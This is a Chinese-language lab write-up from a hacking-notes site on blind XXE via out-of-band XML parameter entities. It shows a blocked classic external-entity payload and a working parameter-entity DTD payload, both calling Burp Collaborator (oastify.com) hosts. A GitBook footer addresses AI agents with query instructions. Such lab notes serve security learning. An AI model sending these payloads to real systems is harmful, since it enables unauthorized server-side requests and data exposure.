> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/zh/web/xxe/blind-xxe-with-out-of-band-parameter-entities.md).

# 通过带外 XML 参数实体的盲 XXE

### 通过 XML 参数实体进行带外交互的盲 XXE

实验室中的 Check stock 功能会分析 XML 条目。它 **不会显示** 意外值并且 **锁定** 服务器端的标准 XML 外部实体。

\*\*目标\*\*/ 通过使用 \*\*参数实体\*\*，强制 XML 解析器对 OOB 服务（例如 Burp Collaborator / Oastify）执行外部查询（DNS / HTTP），从而盲目利用 XXE 漏洞。

1/) 经典外部实体（已锁定）

已发送的有效载荷——一个从外部 URL 引用的系统实体，然后从 `<productId>`:

```xml
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [<!ENTITY myFile SYSTEM "https://h4m66g65x80x7bwj3ueflms990fr3hr6.oastify.com">]>
<stockCheck>
  <productId>
    &myFile;
  </productId>
  <storeId>
    1
  </storeId>
  </stockCheck>
```

**观察到的结果：** 服务器返回错误“出于安全原因不允许实体”——常规外部实体的声明被阻止。

<figure><img src="/files/bbff78077f3c357365eef63c0f6d81e862d18a5b" alt=""><figcaption></figcaption></figure>

2/) 尝试使用参数实体（OOB 方法）

为绕过阻止，我们测试使用 \*\*参数实体\*\* —— 该声明使用 `%` 然后将其内容注入 DTD：

{% code overflow="wrap" %}

```xml
<!DOCTYPE foo [<!ENTITY % myFile SYSTEM "https://s70h9r9g0j38amzu65hqoxvkcbi36vuk.oastify.com"> %myFile;]>
```

{% endcode %}

<figure><img src="/files/d20de25417deff13ce61d29962980fa0122b2d1a" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/zh/web/xxe/blind-xxe-with-out-of-band-parameter-entities.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.